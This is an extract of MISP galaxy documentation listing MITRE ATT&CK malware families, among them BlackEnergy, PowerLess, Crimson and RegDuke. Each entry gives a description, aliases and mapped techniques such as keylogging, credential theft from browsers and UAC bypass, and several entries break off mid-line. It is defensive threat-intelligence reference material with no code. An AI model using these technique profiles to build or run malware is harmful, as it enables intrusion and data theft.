

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6752. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/">http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0079">https://attack.mitre.org/software/S0079</a></td>
</tr>
</tbody>
</table>

**Kasidet - S0088**

[Kasidet](https://attack.mitre.org/software/S0088) is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)

The tag is: misp-galaxy:mitre-malware="Kasidet - S0088"

Kasidet - S0088 is also known as:

- Kasidet

View relationships graph

Kasidet - S0088 has relationships with:


- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"


- similar: misp-galaxy:malpedia="Neutrino" with estimative-language:likelihood-probability="likely"

- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6753. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0088">https://attack.mitre.org/software/S0088</a></td>
</tr>
</tbody>
</table>

BlackEnergy - S0089

[BlackEnergy](https://attack.mitre.org/software/S0089) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)

The tag is: misp-galaxy:mitre-malware="BlackEnergy - S0089"

BlackEnergy - S0089 is also known as:

• BlackEnergy

• Black Energy

View relationships graph

BlackEnergy - S0089 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:tool="BlackEnergy" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:malpedia="BlackEnergy" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Services File Permissions Weakness - T1574.010" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 6754. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0089">https://attack.mitre.org/software/S0089</a></td>
</tr>
</tbody>
</table>

**H1N1 - S0132**

[H1N1](https://attack.mitre.org/software/S0132) is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. (Citation: Cisco H1N1 Part 1)

The tag is: *misp-galaxy:mitre-malware="H1N1 - S0132"*

H1N1 - S0132 is also known as:

• H1N1

View relationships graph

H1N1 - S0132 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"


---

**Table 6755. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0132">https://attack.mitre.org/software/S0132</a></td>
</tr>
</tbody>
</table>

---

**Tarrask - S1011**

[Tarrask](https://attack.mitre.org/software/S1011) is malware that has been used by [HAFNIUM](https://attack.mitre.org/groups/G0125) since at least August 2021. [Tarrask](https://attack.mitre.org/software/S1011) was designed to evade digital defenses and maintain persistence by generating concealed scheduled tasks.(Citation: Tarrask scheduled task)

The tag is: *misp-galaxy:mitre-malware="Tarrask - S1011"*

Tarrask - S1011 is also known as:

- Tarrask

**View relationships graph**

Tarrask - S1011 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with
**ROCKBOOT - S0112**

[ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bootkit](https://attack.mitre.org/techniques/T1542/003) that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)

The tag is: `misp-galaxy:mitre-malware="ROCKBOOT - S0112"`

ROCKBOOT - S0112 is also known as:

- ROCKBOOT

**DnsSystem - S1021**

[DnsSystem](https://attack.mitre.org/software/S1021) is a .NET based DNS backdoor, which is a customized version of the open source tool DIG.net, that has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least June 2022. (Citation: Zscaler Lyceum DnsSystem June 2022)

The tag is: `misp-galaxy:mitre-malware="DnsSystem - S1021"`

DnsSystem - S1021 is also known as:

- DnsSystem
DnsSystem - S1021 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6758. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1021">https://attack.mitre.org/software/S1021</a></td>
</tr>
</tbody>
</table>

**PowerLess - S1012**

[PowerLess](https://attack.mitre.org/software/S1012) is a PowerShell-based modular backdoor that has been used by [Magic Hound](https://attack.mitre.org/groups/G0059) since at least 2022. (Citation: Cybereason PowerLess February 2022)

The tag is: misp-galaxy:mitre-malware="PowerLess - S1012"

PowerLess - S1012 is also known as:

- PowerLess

PowerLess - S1012 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Browser Information Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6759. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1012">https://attack.mitre.org/software/S1012</a></td>
</tr>
</tbody>
</table>

Linfo - S0211

[Linfo](https://attack.mitre.org/software/S0211) is a rootkit trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Linfo May 2012)

The tag is: misp-galaxy:mitre-malware="Linfo - S0211"

Linfo - S0211 is also known as:

• Linfo

View relationships graph

Linfo - S0211 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 6760. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0211">https://attack.mitre.org/software/S0211</a></td>
</tr>
</tbody>
</table>

**PS1 - S0613**

[PS1](https://attack.mitre.org/software/S0613) is a loader that was used to deploy 64-bit backdoors in the [CostaRicto](https://attack.mitre.org/groups/G0132) campaign. (Citation: BlackBerry CostaRicto November 2020)

The tag is: **misp-galaxy:mitre-malware="PS1 - S0613"**

PS1 - S0613 is also known as:

• PS1

View relationships graph

PS1 - S0613 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 6761. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0613">https://attack.mitre.org/software/S0613</a></td>
</tr>
</tbody>
</table>

**TINYTYPHON - S0131**

[TINYTYPHON](https://attack.mitre.org/software/S0131) is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)

The tag is: misp-galaxy:mitre-malware="TINYTYPHON - S0131"

View relationships graph

TINYTYPHON - S0131 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 6762. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0131">https://attack.mitre.org/software/S0131</a></td>
</tr>
</tbody>
</table>

**PingPull - S1031**

[PingPull](https://attack.mitre.org/software/S1031) is a remote access Trojan (RAT) written in Visual C++ that has been used by [GALLIUM](https://attack.mitre.org/groups/G0093) since at least June 2022. [PingPull](https://attack.mitre.org/software/S1031) has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and
The tag is: misp-galaxy:mitre-malware="PingPull - S1031"

PingPull - S1031 is also known as:

- PingPull

View relationships graph

PingPull - S1031 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
Prikormka - S0113

[Prikormka](https://attack.mitre.org/software/S0113) is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation Groundbait)

The tag is: `misp-galaxy:mitre-malware="Prikormka - S0113"`

Prikormka - S0113 is also known as:

- Prikormka

View relationships graph

Prikormka - S0113 has relationships with:


- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555"` with

---

3734
uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

similar: misp-galaxy:tool="Prikormka" with estimative-language:likelihood-probability="likely"


uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 6764. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0113">https://attack.mitre.org/software/S0113</a></td>
</tr>
</tbody>
</table>

**YiSpecter - S0311**

[YiSpecter](https://attack.mitre.org/software/S0311) is a family of iOS and Android malware, first detected in November 2014, targeting users in mainland China and Taiwan. [YiSpecter](https://attack.mitre.org/software/S0311) abuses private APIs in iOS to infect both jailbroken and non-jailbroken devices. (Citation: paloalto_yispecter_1015)

The tag is: `misp-galaxy:mitre-malware="YiSpecter - S0311"`

YiSpecter - S0311 is also known as:

- YiSpecter

View relationships graph

YiSpecter - S0311 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1424" with estimative-
Table 6765. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0311">https://attack.mitre.org/software/S0311</a></td>
</tr>
</tbody>
</table>

ZxxZ - S1013

[ZxxZ](https://attack.mitre.org/software/S1013) is a trojan written in Visual C++ that has been used by [BITTER](https://attack.mitre.org/groups/G1002) since at least August 2021, including against Bangladeshi government personnel.(Citation: Cisco Talos Bitter Bangladesh May 2022)

The tag is: `misp-galaxy:mitre-malware="ZxxZ - S1013"`

View relationships graph

ZxxZ - S1013 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
Table 6766. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1013">https://attack.mitre.org/software/S1013</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html">https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html</a></td>
</tr>
</tbody>
</table>

**BOOTRASH - S0114**

[BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1542/003) that targets Windows operating systems. It has been used by threat actors that target the financial sector.(Citation: Mandiant M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BOOTRASH SANS)

The tag is: *misp-galaxy:mitre-malware="BOOTRASH - S0114"*

BOOTRASH - S0114 is also known as:
• BOOTRASH

View relationships graph

BOOTRASH - S0114 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden File System - T1564.005" with estimative-language:likelihood-probability="almost-certain"

Table 6767. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0114">https://attack.mitre.org/software/S0114</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/12/fi61-targets-boot-record.html">https://www.fireeye.com/blog/threat-research/2015/12/fi61-targets-boot-record.html</a></td>
</tr>
</tbody>
</table>

DanBot - S1014

[DanBot](https://attack.mitre.org/software/S1014) is a first-stage remote access Trojan written in C# that has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least 2018. (Citation: SecureWorks August 2019)

The tag is: misp-galaxy:mitre-malware="DanBot - S1014"

DanBot - S1014 is also known as:

• DanBot

View relationships graph

DanBot - S1014 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6768. Table References

Links

https://attack.mitre.org/software/S1014

https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign

Chinoxy - S1041

[Chinoxy](https://attack.mitre.org/software/S1041) is a backdoor that has been used since at least November 2018, during the [FunnyDream](https://attack.mitre.org/campaigns/C0007) campaign, to gain persistence and drop additional payloads. According to security researchers, [Chinoxy](https://attack.mitre.org/software/S1041) has been used by Chinese-speaking threat actors. (Citation: Bitdefender FunnyDream Campaign November 2020)

The tag is: *misp-galaxy:mitre-malware="Chinoxy - S1041"*

Chinoxy - S1041 is also known as:

• Chinoxy

View relationships graph

Chinoxy - S1041 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with
Rotexy - S0411

Rotexy [(https://attack.mitre.org/software/S0411)] is an Android banking malware that has evolved over several years. It was originally an SMS spyware Trojan first spotted in October 2014, and since then has evolved to contain more features, including ransomware functionality. (Citation: securelist rotexy 2018)

The tag is: `misp-galaxy:mitre-malware="Rotexy - S0411"`

Rotexy - S0411 is also known as:

  - Rotexy

View relationships graph

Rotexy - S0411 has relationships with:

  - `uses: misp-galaxy:mitre-attack-pattern="System Checks - T1633.001" with estimative-language:likelihood-probability="almost-certain"`
  - `uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-`
**HALFBaked - S0151**

[HALFBaked](https://attack.mitre.org/software/S0151) is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)

The tag is: `misp-galaxy:mitre-malware="HALFBaked - S0151"`

**View relationships graph**

HALFBaked - S0151 has relationships with:

- similar: `misp-galaxy:tool="VB Flash"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"` with estimative-
Crimson - S0115

[Crimson](https://attack.mitre.org/software/S0115) is a remote access Trojan that has been used by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2016.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)

The tag is: `misp-galaxy:mitre-malware="Crimson - S0115"`

Crimson - S0115 is also known as:

- Crimson
- MSIL/Crimson

View relationships graph

Crimson - S0115 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:tool="Crimson" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:rat="Crimson" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:malpedia="Crimson RAT" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Location Discovery - T1614" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
RegDuke - S0511

[RegDuke](https://attack.mitre.org/software/S0511) is a first stage implant written in .NET and used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2017. [RegDuke](https://attack.mitre.org/software/S0511) has been used to control a compromised machine when control of other implants on the machine was lost. (Citation: ESET Dukes October 2019)

The tag is: *misp-galaxy:mitre-malware="RegDuke - S0511"*

RegDuke - S0511 is also known as:

- RegDuke

View relationships graph

RegDuke - S0511 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Fileless Storage - T1027.011"* with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"* with estimative-language:likelihood-probability="almost-certain"

